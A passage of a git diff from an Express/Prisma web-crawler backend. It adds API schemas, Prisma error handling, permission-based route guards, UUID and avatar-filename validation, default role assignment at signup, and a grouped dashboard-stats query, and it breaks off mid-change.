"enum": ["DAILY", "WEEKLY", "MONTHLY", "CUSTOM"]
},
"cronExpression": {
"type": "string",
......@@ -5081,10 +5547,7 @@
},
"CreateCrawlScheduleRequest": {
"type": "object",
"required": [
"name",
"startUrl"
],
"required": ["name", "startUrl"],
"properties": {
"name": {
"type": "string",
......@@ -5097,22 +5560,12 @@
},
"mode": {
"type": "string",
"enum": [
"SCRAPE",
"CRAWL",
"SITEMAP",
"URL_LIST"
],
"enum": ["SCRAPE", "CRAWL", "SITEMAP", "URL_LIST"],
"example": "CRAWL"
},
"frequency": {
"type": "string",
"enum": [
"DAILY",
"WEEKLY",
"MONTHLY",
"CUSTOM"
],
"enum": ["DAILY", "WEEKLY", "MONTHLY", "CUSTOM"],
"example": "DAILY"
},
"cronExpression": {
......@@ -5175,21 +5628,11 @@
},
"mode": {
"type": "string",
"enum": [
"SCRAPE",
"CRAWL",
"SITEMAP",
"URL_LIST"
]
"enum": ["SCRAPE", "CRAWL", "SITEMAP", "URL_LIST"]
},
"frequency": {
"type": "string",
"enum": [
"DAILY",
"WEEKLY",
"MONTHLY",
"CUSTOM"
]
"enum": ["DAILY", "WEEKLY", "MONTHLY", "CUSTOM"]
},
"cronExpression": {
"type": "string"
......@@ -5389,10 +5832,7 @@
},
"CreateRoleRequest": {
"type": "object",
"required": [
"name",
"slug"
],
"required": ["name", "slug"],
"properties": {
"name": {
"type": "string",
......@@ -5431,9 +5871,7 @@
},
"AssignRolePermissionsRequest": {
"type": "object",
"required": [
"permissionIds"
],
"required": ["permissionIds"],
"properties": {
"permissionIds": {
"type": "array",
......@@ -5446,9 +5884,7 @@
},
"AssignUserRolesRequest": {
"type": "object",
"required": [
"roleIds"
],
"required": ["roleIds"],
"properties": {
"roleIds": {
"type": "array",
......@@ -5458,6 +5894,224 @@
}
}
}
},
"UpdateWebhookConfigRequest": {
"type": "object",
"properties": {
"url": {
"type": "string",
"format": "uri",
"example": "https://example.com/webhook"
},
"secret": {
"type": "string",
"minLength": 16,
"maxLength": 128,
"example": "new_webhook_secret_key_123456"
},
"events": {
"type": "array",
"items": {
"type": "string",
"enum": ["job.completed", "job.failed"]
},
"example": ["job.completed"]
},
"isActive": {
"type": "boolean",
"example": true
}
}
},
"ExtractionTemplateField": {
"type": "object",
"required": ["name", "selector", "attr", "required"],
"properties": {
"name": {
"type": "string",
"example": "title"
},
"selector": {
"type": "string",
"example": "h1.product-title"
},
"attr": {
"type": "string",
"example": "innerText"
},
"required": {
"type": "boolean",
"example": true
}
}
},
"ExtractionTemplate": {
"type": "object",
"properties": {
"id": {
"type": "string",
"format": "uuid"
},
"userId": {
"type": "string",
"format": "uuid"
},
"name": {
"type": "string",
"example": "E-Commerce Product Extractor"
},
"domain": {
"type": "string",
"example": "example.com"
},
"fields": {
"type": "array",
"items": {
"$ref": "#/components/schemas/ExtractionTemplateField"
}
},
"createdAt": {
"type": "string",
"format": "date-time"
},
"updatedAt": {
"type": "string",
"format": "date-time"
}
}
},
"CreateExtractionTemplateRequest": {
"type": "object",
"required": ["name", "domain", "fields"],
"properties": {
"name": {
"type": "string",
"example": "E-Commerce Product Extractor"
},
"domain": {
"type": "string",
"example": "example.com"
},
"fields": {
"type": "array",
"items": {
"$ref": "#/components/schemas/ExtractionTemplateField"
}
}
}
},
"UpdateExtractionTemplateRequest": {
"type": "object",
"properties": {
"name": {
"type": "string",
"example": "Updated Template Name"
},
"fields": {
"type": "array",
"items": {
"$ref": "#/components/schemas/ExtractionTemplateField"
}
}
}
},
"CrawlJobLog": {
"type": "object",
"properties": {
"id": {
"type": "string",
"format": "uuid"
},
"jobId": {
"type": "string",
"format": "uuid"
},
"level": {
"type": "string",
"enum": ["INFO", "WARN", "ERROR"]
},
"step": {
"type": "string",
"example": "FETCH_PAGE"
},
"message": {
"type": "string",
"example": "Successfully fetched page 1"
},
"createdAt": {
"type": "string",
"format": "date-time"
}
}
},
"DashboardStats": {
"type": "object",
"properties": {
"jobs": {
"type": "object",
"properties": {
"total": {
"type": "integer",
"example": 42
},
"completed": {
"type": "integer",
"example": 35
},
"failed": {
"type": "integer",
"example": 3
},
"running": {
"type": "integer",
"example": 2
},
"pending": {
"type": "integer",
"example": 2
}
}
},
"pages": {
"type": "object",
"properties": {
"total": {
"type": "integer",
"example": 1250
},
"successful": {
"type": "integer",
"example": 1200
},
"failed": {
"type": "integer",
"example": 50
}
}
},
"schedules": {
"type": "object",
"properties": {
"total": {
"type": "integer",
"example": 5
},
"active": {
"type": "integer",
"example": 4
}
}
},
"exports": {
"type": "object",
"properties": {
"total": {
"type": "integer",
"example": 18
}
}
}
}
}
}
},
......
......@@ -695,6 +695,122 @@ const rawSchemas = {
},
},
},
UpdateWebhookConfigRequest: {
type: "object",
properties: {
url: {
type: "string",
format: "uri",
example: "https://example.com/webhook",
},
secret: {
type: "string",
minLength: 16,
maxLength: 128,
example: "new_webhook_secret_key_123456",
},
events: {
type: "array",
items: { type: "string", enum: ["job.completed", "job.failed"] },
example: ["job.completed"],
},
isActive: { type: "boolean", example: true },
},
},
ExtractionTemplateField: {
type: "object",
required: ["name", "selector", "attr", "required"],
properties: {
name: { type: "string", example: "title" },
selector: { type: "string", example: "h1.product-title" },
attr: { type: "string", example: "innerText" },
required: { type: "boolean", example: true },
},
},
ExtractionTemplate: {
type: "object",
properties: {
id: { type: "string", format: "uuid" },
userId: { type: "string", format: "uuid" },
name: { type: "string", example: "E-Commerce Product Extractor" },
domain: { type: "string", example: "example.com" },
fields: {
type: "array",
items: { $ref: "#/components/schemas/ExtractionTemplateField" },
},
createdAt: { type: "string", format: "date-time" },
updatedAt: { type: "string", format: "date-time" },
},
},
CreateExtractionTemplateRequest: {
type: "object",
required: ["name", "domain", "fields"],
properties: {
name: { type: "string", example: "E-Commerce Product Extractor" },
domain: { type: "string", example: "example.com" },
fields: {
type: "array",
items: { $ref: "#/components/schemas/ExtractionTemplateField" },
},
},
},
UpdateExtractionTemplateRequest: {
type: "object",
properties: {
name: { type: "string", example: "Updated Template Name" },
fields: {
type: "array",
items: { $ref: "#/components/schemas/ExtractionTemplateField" },
},
},
},
CrawlJobLog: {
type: "object",
properties: {
id: { type: "string", format: "uuid" },
jobId: { type: "string", format: "uuid" },
level: { type: "string", enum: ["INFO", "WARN", "ERROR"] },
step: { type: "string", example: "FETCH_PAGE" },
message: { type: "string", example: "Successfully fetched page 1" },
createdAt: { type: "string", format: "date-time" },
},
},
DashboardStats: {
type: "object",
properties: {
jobs: {
type: "object",
properties: {
total: { type: "integer", example: 42 },
completed: { type: "integer", example: 35 },
failed: { type: "integer", example: 3 },
running: { type: "integer", example: 2 },
pending: { type: "integer", example: 2 },
},
},
pages: {
type: "object",
properties: {
total: { type: "integer", example: 1250 },
successful: { type: "integer", example: 1200 },
failed: { type: "integer", example: 50 },
},
},
schedules: {
type: "object",
properties: {
total: { type: "integer", example: 5 },
active: { type: "integer", example: 4 },
},
},
exports: {
type: "object",
properties: {
total: { type: "integer", example: 18 },
},
},
},
},
};
const outputFile = "./src/docs/swagger.json";
......
......@@ -32,11 +32,60 @@ export function errorMiddleware(
return;
}
// Handle Prisma Known Request Errors
const prismaError = error as { code?: string; meta?: { target?: string[] } };
if (
prismaError.code &&
typeof prismaError.code === "string" &&
prismaError.code.startsWith("P")
) {
switch (prismaError.code) {
case "P2002": {
const target = Array.isArray(prismaError.meta?.target)
? prismaError.meta.target.join(", ")
: "field";
res.status(409).json({
success: false,
message: `A record with this ${target} already exists.`,
code: ERROR_CODE.DUPLICATE_ENTRY,
});
return;
}
case "P2023": {
res.status(400).json({
success: false,
message: "Invalid input format or malformed identifier.",
code: ERROR_CODE.VALIDATION_ERROR,
});
return;
}
case "P2025": {
res.status(404).json({
success: false,
message: "Requested record not found.",
code: ERROR_CODE.NOT_FOUND,
});
return;
}
case "P2003": {
res.status(400).json({
success: false,
message:
"Referenced record does not exist or relation constraint failed.",
code: ERROR_CODE.VALIDATION_ERROR,
});
return;
}
default:
break;
}
}
console.error("[Unhandled Error]", error);
res.status(500).json({
success: false,
message: "Internal server error",
code: "INTERNAL_SERVER_ERROR",
code: ERROR_CODE.INTERNAL_SERVER_ERROR,
});
}
import { Request, Response, NextFunction } from "express";
import { PermissionSlug } from "../common/constants/permission.constant";
import {
PermissionSlug,
SYSTEM_ROLE_DEFAULT_PERMISSIONS,
} from "../common/constants/permission.constant";
import { SystemRoleSlug } from "../common/constants/system-role.constant";
import { AppError } from "../common/errors/app-error";
import { ERROR_CODE } from "../common/errors/error-code";
import { PermissionService } from "../modules/permissions/permission.service";
......@@ -12,12 +16,19 @@ async function resolveUserPermissions(req: Request): Promise<string[]> {
}
const permissions = await permissionService.getUserPermissions(req.user.id);
req.user.permissions = permissions;
if (!req.user.roles) {
req.user.roles = await permissionService.getUserRoles(req.user.id);
}
if (permissions.length === 0 && req.user.role) {
const defaultPerms =
SYSTEM_ROLE_DEFAULT_PERMISSIONS[req.user.role as SystemRoleSlug] || [];
req.user.permissions = defaultPerms;
return defaultPerms;
}
req.user.permissions = permissions;
return permissions;
}
......
import rateLimit, { RateLimitRequestHandler } from "express-rate-limit";
import { envConfig } from "../config/env.config";
import { ERROR_CODE } from "../common/errors/error-code";
/**
* Global API rate limit per IP, configurable for each environment.
......@@ -14,7 +15,7 @@ export const rateLimitMiddleware: RateLimitRequestHandler = rateLimit({
message: {
success: false,
message: "Bạn đã gửi quá nhiều yêu cầu. Vui lòng thử lại sau.",
code: "RATE_LIMIT_EXCEEDED",
code: ERROR_CODE.RATE_LIMIT_EXCEEDED,
},
});
......@@ -26,6 +27,6 @@ export const authRateLimiter: RateLimitRequestHandler = rateLimit({
message: {
success: false,
message: "Quá nhiều yêu cầu xác thực. Vui lòng thử lại sau 1 phút.",
code: "RATE_LIMIT_EXCEEDED",
code: ERROR_CODE.RATE_LIMIT_EXCEEDED,
},
});
......@@ -7,6 +7,7 @@ export const ALLOWED_AVATAR_MIME_TYPES = [
"image/jpeg",
"image/png",
"image/webp",
"image/gif",
] as const;
export const MAX_AVATAR_SIZE_BYTES = 5 * 1024 * 1024; // 5MB
......
import { Router } from "express";
import { ApiKeyController } from "./api-key.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { validate } from "../../middlewares/validate.middleware";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
import {
validate,
validateParams,
} from "../../middlewares/validate.middleware";
import {
createApiKeySchema,
updateApiKeyStatusSchema,
apiKeyParamsSchema,
} from "./api-key.validation";
const router = Router();
......@@ -13,16 +19,30 @@ const controller = new ApiKeyController();
router.post(
"/",
authMiddleware,
requirePermission(PERMISSIONS.API_KEYS_CREATE),
validate(createApiKeySchema),
controller.create,
);
router.get("/", authMiddleware, controller.list);
router.get(
"/",
authMiddleware,
requirePermission(PERMISSIONS.API_KEYS_READ),
controller.list,
);
router.patch(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.API_KEYS_UPDATE),
validateParams(apiKeyParamsSchema),
validate(updateApiKeyStatusSchema),
controller.setActive,
);
router.delete("/:id", authMiddleware, controller.revoke);
router.delete(
"/:id",
authMiddleware,
requirePermission(PERMISSIONS.API_KEYS_DELETE),
validateParams(apiKeyParamsSchema),
controller.revoke,
);
export default router;
......@@ -24,3 +24,7 @@ export const updateApiKeyStatusSchema = z.object({
invalid_type_error: "API Key status must be a boolean",
}),
});
export const apiKeyParamsSchema = z.object({
id: z.string().uuid("Invalid API key ID format"),
});
......@@ -3,8 +3,8 @@ import { AuditLogController } from "./audit-log.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { validateQuery } from "../../middlewares/validate.middleware";
import { listAuditLogsQuerySchema } from "./audit-log.validation";
import { requireRole } from "../../middlewares/role.middleware";
import { ROLES } from "../../common/constants/role.constant";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
const router = Router();
const controller = new AuditLogController();
......@@ -12,7 +12,7 @@ const controller = new AuditLogController();
router.get(
"/",
authMiddleware,
requireRole(ROLES.ADMIN),
requirePermission(PERMISSIONS.AUDIT_LOGS_READ),
validateQuery(listAuditLogsQuerySchema),
controller.findAll,
);
......
import { prisma } from "../../database/prisma.client";
import { ROLES } from "../../common/constants/role.constant";
import { SYSTEM_ROLE_SLUGS } from "../../common/constants/system-role.constant";
export class AuthRepository {
findByEmail(email: string) {
......@@ -14,13 +15,14 @@ export class AuthRepository {
});
}
createUser(data: {
async createUser(data: {
email: string;
passwordHash: string;
fullName?: string;
isActive?: boolean;
}) {
return prisma.user.create({
return prisma.$transaction(async (tx) => {
const user = await tx.user.create({
data: {
email: data.email,
passwordHash: data.passwordHash,
......@@ -29,6 +31,22 @@ export class AuthRepository {
isActive: data.isActive ?? true,
},
});
const defaultRole = await tx.role.findUnique({
where: { slug: SYSTEM_ROLE_SLUGS.CRAWLER_USER },
});
if (defaultRole) {
await tx.userRoleAssignment.create({
data: {
userId: user.id,
roleId: defaultRole.id,
},
});
}
return user;
});
}
updateUser(
......@@ -122,6 +140,11 @@ export class AuthRepository {
where: { userId, isActive: true },
data: { isActive: false },
});
await tx.webhookConfig.updateMany({
where: { userId, isActive: true },
data: { isActive: false },
});
});
}
}
......@@ -5,7 +5,10 @@ import {
copyRefreshTokenToBody,
} from "../../middlewares/auth.middleware";
import { authRateLimiter } from "../../middlewares/rate-limit.middleware";
import { validate } from "../../middlewares/validate.middleware";
import {
validate,
validateParams,
} from "../../middlewares/validate.middleware";
import { uploadAvatarMiddleware } from "../../middlewares/upload.middleware";
import {
loginSchema,
......@@ -20,6 +23,7 @@ import {
changePasswordSchema,
requestDeactivationSchema,
confirmDeactivationSchema,
avatarFileNameParamsSchema,
} from "./auth.validation";
const router = Router();
......@@ -75,9 +79,13 @@ router.post(
controller.uploadAvatar(req, res, next);
},
);
router.get("/avatar/:fileName", (req, res, next) => {
router.get(
"/avatar/:fileName",
validateParams(avatarFileNameParamsSchema),
(req, res, next) => {
controller.getAvatar(req, res, next);
});
},
);
router.post(
"/change-password",
authMiddleware,
......
......@@ -43,6 +43,7 @@ export class AuthService {
private readonly repository = new AuthRepository();
private readonly mailService = new MailService();
private readonly storageService = StorageFactory.getStorageService();
private readonly crawlJobRepository = new CrawlJobRepository();
private async deliverVerificationEmail(
user: { id: string; email: string },
......@@ -467,7 +468,7 @@ export class AuthService {
throw new AppError("User not found", 404, ERROR_CODE.NOT_FOUND);
}
const crawlJobRepo = new CrawlJobRepository();
const crawlJobRepo = this.crawlJobRepository;
const nowZoned = getZonedDateParts(new Date(), DEFAULT_TIMEZONE);
const startOfDay = createUtcDateFromZonedParts(
nowZoned.year,
......
......@@ -104,3 +104,14 @@ export const requestDeactivationSchema = z.object({
export const confirmDeactivationSchema = z.object({
token: z.string().min(1, "Thiếu mã xác nhận vô hiệu hóa."),
});
export const avatarFileNameParamsSchema = z.object({
fileName: z
.string()
.trim()
.regex(
/^[a-zA-Z0-9_.-]+\.(jpg|jpeg|png|webp|gif)$/i,
"Invalid avatar filename format",
)
.refine((name) => !name.includes(".."), "Path traversal is not allowed"),
});
......@@ -14,6 +14,7 @@ import { buildJobRootFilePath } from "../../common/helpers/file.helper";
import { normalizeUrl } from "../../common/helpers/data-contract.helper";
import { AppError } from "../../common/errors/app-error";
import { ERROR_CODE } from "../../common/errors/error-code";
import { CrawlPageStatus } from "../../common/constants/crawl-page-status.constant";
/**
* Minimal page shape required for diff comparison.
......@@ -26,7 +27,7 @@ type DiffPage = {
normalizedUrl: string;
contentHash: string | null;
wordCount: number;
status: import("@prisma/client").CrawlPageStatus;
status: CrawlPageStatus;
statusCode: number | null;
title: string | null;
crawledAt: Date | null;
......
......@@ -41,11 +41,14 @@ export class CrawlExportController {
const result = await this.service.findAllByUser(req.user.id, page, limit);
res.json({
success: true,
data: result.items,
pagination: {
data: {
items: result.items,
meta: {
total: result.total,
page: result.page,
limit: result.limit,
totalPages: Math.ceil(result.total / (result.limit || 1)),
},
},
});
} catch (error) {
......
import { Router } from "express";
import { CrawlExportController } from "./crawl-export.controller";
import { authMiddleware } from "../../middlewares/auth.middleware";
import { requireRole } from "../../middlewares/role.middleware";
import { ROLES } from "../../common/constants/role.constant";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
import {
validateQuery,
validateParams,
} from "../../middlewares/validate.middleware";
import {
crawlExportQuerySchema,
crawlExportParamsSchema,
} from "./crawl-export.validation";
const router = Router();
const controller = new CrawlExportController();
......@@ -10,19 +18,22 @@ const controller = new CrawlExportController();
router.get(
"/",
authMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.EXPORTS_READ),
validateQuery(crawlExportQuerySchema),
controller.findAll,
);
router.get(
"/:exportId/download",
authMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.EXPORTS_DOWNLOAD),
validateParams(crawlExportParamsSchema),
controller.download,
);
router.delete(
"/:exportId",
authMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.EXPORTS_DELETE),
validateParams(crawlExportParamsSchema),
controller.delete,
);
......
import { z } from "zod";
export const crawlExportQuerySchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(20),
});
export const crawlExportParamsSchema = z.object({
exportId: z.string().uuid("Invalid export ID format"),
});
import { Router } from "express";
import { CrawlJobController } from "./crawl-job.controller";
import { apiKeyOrAuthMiddleware } from "../../middlewares/api-key.middleware";
import { validate, validateQuery } from "../../middlewares/validate.middleware";
import {
validate,
validateQuery,
validateParams,
} from "../../middlewares/validate.middleware";
import {
createCrawlJobSchema,
createExportSchema,
listCrawlJobsQuerySchema,
getAssetsQuerySchema,
jobLogsQuerySchema,
diffQuerySchema,
crawlJobParamsSchema,
} from "./crawl-job.validation";
import { crawlPageQuerySchema } from "../crawl-pages/crawl-page.validation";
import { requireRole } from "../../middlewares/role.middleware";
import { ROLES } from "../../common/constants/role.constant";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
const router = Router();
const controller = new CrawlJobController();
......@@ -18,7 +25,7 @@ const controller = new CrawlJobController();
router.post(
"/",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.CRAWL_JOBS_CREATE),
validate(createCrawlJobSchema),
(req, res, next) => {
controller.create(req, res, next);
......@@ -27,70 +34,81 @@ router.post(
router.get(
"/",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateQuery(listCrawlJobsQuerySchema),
controller.findAll,
);
router.get(
"/:id",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateParams(crawlJobParamsSchema),
controller.findById,
);
router.delete(
"/:id",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.CRAWL_JOBS_DELETE),
validateParams(crawlJobParamsSchema),
controller.delete,
);
router.post(
"/:id/rerun",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.CRAWL_JOBS_RETRY),
validateParams(crawlJobParamsSchema),
controller.rerun,
);
router.get(
"/:id/logs",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateParams(crawlJobParamsSchema),
validateQuery(jobLogsQuerySchema),
controller.getLogs,
);
router.get(
"/:id/events",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateParams(crawlJobParamsSchema),
controller.streamEvents,
);
router.post(
"/:id/cancel",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.CRAWL_JOBS_CANCEL),
validateParams(crawlJobParamsSchema),
controller.cancel,
);
router.get(
"/:id/pages",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateParams(crawlJobParamsSchema),
validateQuery(crawlPageQuerySchema),
controller.getPages,
);
router.get(
"/:id/pages/preview",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateParams(crawlJobParamsSchema),
validateQuery(crawlPageQuerySchema),
controller.getPagesPreview,
);
router.get(
"/:id/exports",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.EXPORTS_READ),
validateParams(crawlJobParamsSchema),
controller.getExports,
);
router.post(
"/:id/exports",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.EXPORTS_CREATE),
validateParams(crawlJobParamsSchema),
validate(createExportSchema),
(req, res, next) => {
controller.createExport(req, res, next);
......@@ -99,26 +117,32 @@ router.post(
router.get(
"/:id/download",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.EXPORTS_DOWNLOAD),
validateParams(crawlJobParamsSchema),
controller.download,
);
router.get(
"/:id/assets",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateParams(crawlJobParamsSchema),
validateQuery(getAssetsQuerySchema),
controller.getAssets,
);
router.get(
"/:id/diff",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateParams(crawlJobParamsSchema),
validateQuery(diffQuerySchema),
controller.getDiff,
);
router.get(
"/:id/diff/download",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_JOBS_READ),
validateParams(crawlJobParamsSchema),
validateQuery(diffQuerySchema),
controller.downloadDiff,
);
export default router;
......@@ -12,7 +12,10 @@ import {
import { crawlQueue } from "../../queues/crawl.queue";
import { ROLES } from "../../common/constants/role.constant";
import { JOB_STATUS } from "../../common/constants/job-status.constant";
import { EXPORT_TYPE } from "../../common/constants/export-type.constant";
import {
EXPORT_TYPE,
EXPORT_STATUS,
} from "../../common/constants/export-type.constant";
import { DEFAULT_TIMEZONE } from "../../common/constants/timezone.constant";
import { CRAWL_MODE } from "../../common/constants/crawl-mode.constant";
import { CreateCrawlJobDto, CrawlJobQueryDto } from "./crawl-job.dto";
......@@ -246,7 +249,7 @@ export class CrawlJobService {
for (const exportRecord of exports) {
if (
exportRecord.exportType === EXPORT_TYPE.ZIP &&
exportRecord.status === JOB_STATUS.COMPLETED &&
exportRecord.status === EXPORT_STATUS.COMPLETED &&
(await storage.exists(exportRecord.filePath))
) {
return exportRecord;
......
......@@ -74,3 +74,19 @@ export const getAssetsQuerySchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(500).default(50),
});
export const jobLogsQuerySchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(50),
});
export const diffQuerySchema = z.object({
compareWithJobId: z
.string()
.uuid("Invalid compareWithJobId format")
.optional(),
});
export const crawlJobParamsSchema = z.object({
id: z.string().uuid("Invalid job ID format"),
});
......@@ -13,6 +13,7 @@ export class CrawlScheduleController {
req.body,
);
res.status(201).json({
success: true,
message: "Crawl schedule created successfully",
data: schedule,
});
......@@ -28,7 +29,10 @@ export class CrawlScheduleController {
req.user!.role,
req.query as unknown as CrawlScheduleQueryDto,
);
res.json(result);
res.json({
success: true,
data: result,
});
} catch (error) {
next(error);
}
......@@ -41,7 +45,10 @@ export class CrawlScheduleController {
req.user!.role,
req.params.id,
);
res.json(schedule);
res.json({
success: true,
data: schedule,
});
} catch (error) {
next(error);
}
......@@ -56,6 +63,7 @@ export class CrawlScheduleController {
req.body,
);
res.json({
success: true,
message: "Crawl schedule updated successfully",
data: updated,
});
......@@ -68,6 +76,7 @@ export class CrawlScheduleController {
try {
await this.service.delete(req.user!.id, req.user!.role, req.params.id);
res.json({
success: true,
message: "Crawl schedule deleted successfully",
});
} catch (error) {
......@@ -83,6 +92,7 @@ export class CrawlScheduleController {
req.params.id,
);
res.status(201).json({
success: true,
message: "Scheduled crawl triggered successfully",
data: job,
});
......@@ -104,7 +114,10 @@ export class CrawlScheduleController {
page,
limit,
);
res.json(history);
res.json({
success: true,
data: history,
});
} catch (error) {
next(error);
}
......
import { Router } from "express";
import { CrawlScheduleController } from "./crawl-schedule.controller";
import { apiKeyOrAuthMiddleware } from "../../middlewares/api-key.middleware";
import { validate, validateQuery } from "../../middlewares/validate.middleware";
import {
validate,
validateQuery,
validateParams,
} from "../../middlewares/validate.middleware";
import {
createCrawlScheduleSchema,
updateCrawlScheduleSchema,
crawlScheduleQuerySchema,
crawlScheduleHistoryQuerySchema,
crawlScheduleParamsSchema,
} from "./crawl-schedule.validation";
import { requireRole } from "../../middlewares/role.middleware";
import { ROLES } from "../../common/constants/role.constant";
import { requirePermission } from "../../middlewares/permission.middleware";
import { PERMISSIONS } from "../../common/constants/permission.constant";
const router = Router();
const controller = new CrawlScheduleController();
......@@ -16,7 +22,7 @@ const controller = new CrawlScheduleController();
router.post(
"/",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.CRAWL_SCHEDULES_CREATE),
validate(createCrawlScheduleSchema),
controller.create,
);
......@@ -24,7 +30,7 @@ router.post(
router.get(
"/",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_SCHEDULES_READ),
validateQuery(crawlScheduleQuerySchema),
controller.findAll,
);
......@@ -32,14 +38,16 @@ router.get(
router.get(
"/:id",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_SCHEDULES_READ),
validateParams(crawlScheduleParamsSchema),
controller.findById,
);
router.patch(
"/:id",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.CRAWL_SCHEDULES_UPDATE),
validateParams(crawlScheduleParamsSchema),
validate(updateCrawlScheduleSchema),
controller.update,
);
......@@ -47,21 +55,25 @@ router.patch(
router.delete(
"/:id",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.CRAWL_SCHEDULES_DELETE),
validateParams(crawlScheduleParamsSchema),
controller.delete,
);
router.post(
"/:id/run",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER),
requirePermission(PERMISSIONS.CRAWL_SCHEDULES_RUN),
validateParams(crawlScheduleParamsSchema),
controller.triggerRun,
);
router.get(
"/:id/history",
apiKeyOrAuthMiddleware,
requireRole(ROLES.ADMIN, ROLES.CRAWLER_USER, ROLES.VIEWER),
requirePermission(PERMISSIONS.CRAWL_SCHEDULES_READ),
validateParams(crawlScheduleParamsSchema),
validateQuery(crawlScheduleHistoryQuerySchema),
controller.getHistory,
);
......
......@@ -106,3 +106,12 @@ export const crawlScheduleQuerySchema = z.object({
.default("createdAt"),
order: z.enum(["asc", "desc"]).optional().default("desc"),
});
export const crawlScheduleHistoryQuerySchema = z.object({
page: z.coerce.number().int().min(1).default(1),
limit: z.coerce.number().int().min(1).max(100).default(20),
});
export const crawlScheduleParamsSchema = z.object({
id: z.string().uuid("Invalid schedule ID format"),
});
import { prisma } from "../../database/prisma.client";
import { ROLES } from "../../common/constants/role.constant";
import { JOB_STATUS } from "../../common/constants/job-status.constant";
import { CrawlPageStatus } from "@prisma/client";
import { CRAWL_PAGE_STATUS } from "../../common/constants/crawl-page-status.constant";
export class DashboardRepository {
async getStats(userId: string, role: string) {
......@@ -12,41 +12,24 @@ export class DashboardRepository {
const exportWhere = isGlobal ? {} : { job: { userId } };
const [
totalJobs,
completedJobs,
failedJobs,
runningJobs,
pendingJobs,
jobStatusGroups,
pageStatusGroups,
totalPagesCrawled,
successfulPages,
failedPages,
activeSchedules,
totalSchedules,
totalExports,
] = await Promise.all([
prisma.crawlJob.count({ where: jobWhere }),
prisma.crawlJob.count({
where: { ...jobWhere, status: JOB_STATUS.COMPLETED },
prisma.crawlJob.groupBy({
by: ["status"],
_count: { status: true },
where: jobWhere,
}),
prisma.crawlJob.count({
where: { ...jobWhere, status: JOB_STATUS.FAILED },
}),
prisma.crawlJob.count({
where: { ...jobWhere, status: JOB_STATUS.RUNNING },
}),
prisma.crawlJob.count({
where: {
...jobWhere,
status: { in: [JOB_STATUS.PENDING, JOB_STATUS.QUEUED] },
},
prisma.crawlPage.groupBy({
